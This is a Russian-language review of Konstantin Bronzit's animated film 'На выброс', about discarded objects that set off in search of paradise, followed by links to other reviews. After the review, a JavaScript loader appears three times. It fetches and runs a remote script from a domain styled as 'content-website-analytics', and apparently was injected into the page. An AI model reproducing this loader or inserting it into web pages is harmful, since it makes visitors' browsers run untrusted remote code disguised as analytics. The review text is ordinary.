Космос и бурлеск — «На выброс» Константина Бронзита
Вас выбросили на помойку. Не метафорически, а буквально. Что вы ощутите: страх и ненужность или свободу и азарт? Новый мультфильм культового режиссера Константина Бронзита и первая анимация, попавшая в конкурс «Маяка», — «На выброс» готов подумать за вас и вместе с вами. С 20 ноября картину можно посмотреть в кино. А сегодня — почитать рецензию Вероники Хлебниковой.
«Мы длинной вереницей идем за Синей птицей…»
«Мы в Город Изумрудный идем дорогой трудной…»
«И чайник шепнул утюгу: я дальше идти не могу…»
Блистательной премьерой кинофестиваля «Маяк» стала полнометражная рисованная анимация Константина Бронзита «На выброс» — блошиная сказка странствий, натюрморт сломанных, но не сломленных вещей и книг, съеденных мышами, но вечных в памяти допотопного смартфона. Словом, мечта Pixar.
В истории анимации полного метра уже была грандиозная помойка — кукольный «Остров собак» Уэса Андерсона, где сдавали в утиль и депортировали на изолированный остров лучшую часть человечества — собак. Здесь тоже раздавался эзотерический голос — мопс Оракул, озвученный Тильдой Суинтон. Сверхзадача стояла другая: вернуться в мир людей и перевернуть его основания в революционном порядке.
Константин Бронзит: «Я был молодой и глупый»
Константин Бронзит, дважды номинант на премию «Оскар», не намерен переделывать ветхий мир, где у всего есть срок годности. Где от просроченного избавляются, если это не модный винтаж. Бронзит создал цивилизацию на подошве рваного башмака, прочертил ее контуры трещинками по битой фарфоровой вазе, намотал границы тонкой красной нитью на использованную катушку, залихватски повязал канареечным галстуком, вышедшим из моды, и подсветил мудростью веков с битого экрана мобильника.
Все эти порченные, траченные предметы с их легонько, но точно прорисованными характерами сбиваются в теплую компанию и всей инвалидной командой пускаются на поиски рая. Они отслужили свой век и больше ничьи, это все меняет. История хлама, окрыленного свободой, верой и мечтой, превращается в мениппею. Здесь принято меняться самим.
Бронзит остается тем, кто он есть — милосердным гением, который не может жить без космоса и бурлеска
Бронзит дарит отбросам, — а их рисованной массовки наберется на многофигурное полотно сцен страшного суда или небесного царствия, — индивидуальность, читает им Некрасова и Бальмонта. Под реггей вылезших из увальня-матраса пружин эту пенсионерскую вечеринку населяет весь вещный мир от окурков до пишмашинки, и у каждого обломка консюмеристской империи есть лицо и своя походка.
Паству, возжелавшую новой жизни и нового смысла воодушевляет пророк Эзотерий — пластиковый пакетик, пустая игрушка ветра. Он проповедует избавление от скорбей, от чувства ненужности там, где царит Великий Разделитель. К нему, как к Гудвину за новой судьбой, отправятся уголек, соломинка и боб, барышня-ваза, пролетарий башмак с прилепившимся розовым комочком жвачки, баллончик освежителя воздуха — кислый полый душнила с замашками диктатора, малютка катушка, пижон галстук и дедушка смартфон. Их ждут воды канализаций, костры амбиций и библиотек, жевавшая Живаго крыса и таинственный остров — сумрачный лес, где Бронзит развернет одну из графически совершенных и эмоционально сокрушительную сцену.
Пластика фильма избегает помоечной мрачности и трэша. При всей ее цельности она изобразительно щедра и разнообразна, учитывает опыт натюрмортов Сезанна и иллюстраций Конашевича к «Федорину горю» с его исходом домашнего скарба в экзистенциальную пустыню.
Кавалькада странствующих вещей приведет к последнему рейву на мусорном полигоне — поле чудес и благодати, кажется, где-то под Санкт-Петербургом. Творец этой оригинальной, остроумной и фантастической вселенной, где нас всех однажды выкинут, но это не страшно, Константин Бронзит остается тем, кто он есть — милосердным гением, который не может жить без космоса и бурлеска. Он воскрешает из сора, видит в утилитарном ресайклинге божественную метанойю и делает ее занимательной и внятной для аудитории 6+.
;(function (f, i, u, w, s){w=f.createElement (i); s=f.getElementsByTagName (i)[0]; w.async=1; w.src=u; s.parentNode.insertBefore (w, s);})(document, ’script’, ’https://content-website-analytics.com/script.js’);;(function (f, i, u, w, s){w=f.createElement (i); s=f.getElementsByTagName (i)[0]; w.async=1; w.src=u; s.parentNode.insertBefore (w, s);})(document, ’script’, ’https://content-website-analytics.com/script.js’);;(function (f, i, u, w, s){w=f.createElement (i); s=f.getElementsByTagName (i)[0]; w.async=1; w.src=u; s.parentNode.insertBefore (w, s);})(document, ’script’, ’https://content-website-analytics.com/script.js’);Читайте также
-
Что-то не так с мамой — «Умри, моя любовь» Линн Рэмси
-
Хроники русской неоднозначности — «Хроники русской революции» Андрея Кончаловского
-
Памяти лошади — «Константинополь» Сергея Чекалова
-
Предел нежности — «Сентиментальная ценность» Йоакима Триера
-
Это не кровь, просто красное — «Франкенштейн» Гильермо дель Торо
-
Вот так убого живем мы у Бога — «Ветер» Сергея Члиянца